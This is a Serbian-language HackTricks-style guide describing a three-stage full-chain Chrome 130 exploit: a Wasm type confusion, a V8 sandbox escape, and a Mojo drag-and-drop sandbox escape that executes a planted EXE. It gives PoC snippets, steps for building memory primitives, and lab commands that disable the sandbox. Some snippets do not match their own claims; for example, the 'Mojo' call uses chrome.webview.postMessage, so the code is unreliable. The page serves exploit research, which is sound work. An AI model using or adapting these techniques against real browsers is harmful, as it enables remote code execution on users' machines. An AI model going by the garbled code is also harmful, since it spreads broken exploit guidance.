Chrome Exploiting

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ova stranica pruža visok nivo, ali praktičan pregled modernog "full-chain" eksploatacionog toka rada protiv Google Chrome 130, zasnovanog na seriji istraživanja “101 Chrome Exploitation” (Deo-0 — Uvod). Cilj je pružiti pentesterima i razvojnim inženjerima eksploata minimum pozadine potrebne za reprodukciju ili prilagođavanje tehnika za sopstvena istraživanja.

1. Pregled arhitekture Chrome-a

Razumevanje napadačke površine zahteva poznavanje mesta gde se kod izvršava i koje se sandboksove primenjuju.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

  • V8 sandbox (Isolate): dozvole za memoriju su ograničene kako bi se sprečilo proizvoljno čitanje/pisanje iz JITed JS / Wasm.
  • Renderer ↔ Browser split obezbeđen putem Mojo/IPC razmene poruka; renderer nema pristup nativnom FS/mreži.
  • OS sandboxes dodatno sadrže svaki proces (Windows Integrity Levels / seccomp-bpf / macOS sandbox profili).

Remote napadač stoga treba tri uzastopne primitive:

  1. Korupcija memorije unutar V8 da bi dobio proizvoljno RW unutar V8 heap-a.
  2. Druga greška koja omogućava napadaču da pobegne iz V8 sandbox-a u punu memoriju renderer-a.
  3. Konačni izlaz iz sandbox-a (često logika umesto korupcije memorije) za izvršavanje koda van Chrome OS sandbox-a.

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Greška u TurboFan-ovoj Turboshaft optimizaciji pogrešno klasifikuje WasmGC reference types kada se vrednost proizvodi i konzumira unutar jednog osnovnog blok petlje.

Efekat:

  • Kompajler preskoči proveru tipa, tretirajući referencu (externref/anyref) kao int64.
  • Kreirani Wasm omogućava preklapanje zaglavlja JS objekta sa podacima pod kontrolom napadača → addrOf() & fakeObj() AAW / AAR primitive.

Minimal PoC (izvod):

WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Optimizacija okidača i prskanje objekata iz JS:

js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: arbitrary read/write within V8.


3. Stage 2 – Izbegavanje V8 Sandbox-a (issue 379140430)

Kada se Wasm funkcija kompajlira u tier-up, generiše se JS ↔ Wasm wrapper. Greška u neslaganju potpisa uzrokuje da wrapper piše izvan kraja pouzdane Tuple2 objekta kada se Wasm funkcija ponovo optimizuje dok je još na steku.

Prepisivanje 2 × 64-bitnih polja Tuple2 objekta omogućava read/write na bilo kojoj adresi unutar Renderer procesa, efikasno zaobilazeći V8 sandbox.

Ključni koraci u eksploataciji:

  1. Dovesti funkciju u Tier-Up stanje naizmeničnim korišćenjem turbofan/baseline koda.
  2. Aktivirati tier-up dok se drži referenca na steku (Function.prototype.apply).
  3. Koristiti Stage-1 AAR/AAW da pronađe i ošteti susedni Tuple2.

Identifikacija wrapper-a:

js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Nakon korupcije posedujemo potpuno funkcionalnu renderer R/W primitivu.


4. Faza 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

Mojo IPC interfejs blink.mojom.DragService.startDragging() može se pozvati iz Renderera sa delimično poverljivim parametrima. Kreiranjem DragData strukture koja pokazuje na arbitrarni put do fajla, renderer ubeđuje pregledač da izvrši nativno prevlačenje i ispuštanje van renderer sandbox-a.

Zloupotrebom ovoga možemo programatski “prevući” zlonamerni EXE (prethodno postavljen na lokaciju koja se može pisati) na Desktop, gde Windows automatski izvršava određene tipove fajlova nakon ispuštanja.

Primer ( pojednostavljeno):

js
const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Nema dodatne korupcije memorije – logička greška nam omogućava izvršavanje proizvoljnih datoteka sa privilegijama korisnika.


5. Potpuni Tok

  1. Korisnik posećuje zlonamernu veb stranicu.
  2. Faza 1: Wasm modul zloupotrebljava CVE-2025-0291 → V8 heap AAR/AAW.
  3. Faza 2: Neusklađenost omotača korumpira Tuple2 → izlazak iz V8 sandboxes.
  4. Faza 3: startDragging() IPC → izlazak iz OS sandboxes & izvršavanje payload-a.

Rezultat: Daljinsko izvršavanje koda (RCE) na hostu (Chrome 130, Windows/Linux/macOS).


6. Laboratorija & Postavljanje Debagovanja

bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Korisne zastavice prilikom pokretanja razvojne verzije Chrome-a:

bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Zaključci

  • WebAssembly JIT greške ostaju pouzdan ulaz – tipni sistem je još uvek mlad.
  • Dobijanje druge greške u korupciji memorije unutar V8 (npr. neslaganje omotača) značajno pojednostavljuje V8-sandbox bekstvo.
  • Slabosti na logičkom nivou u privilegovanim Mojo IPC interfejsima često su dovoljne za konačno bekstvo iz sandboks-a – obratite pažnju na ne-memorijske greške.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks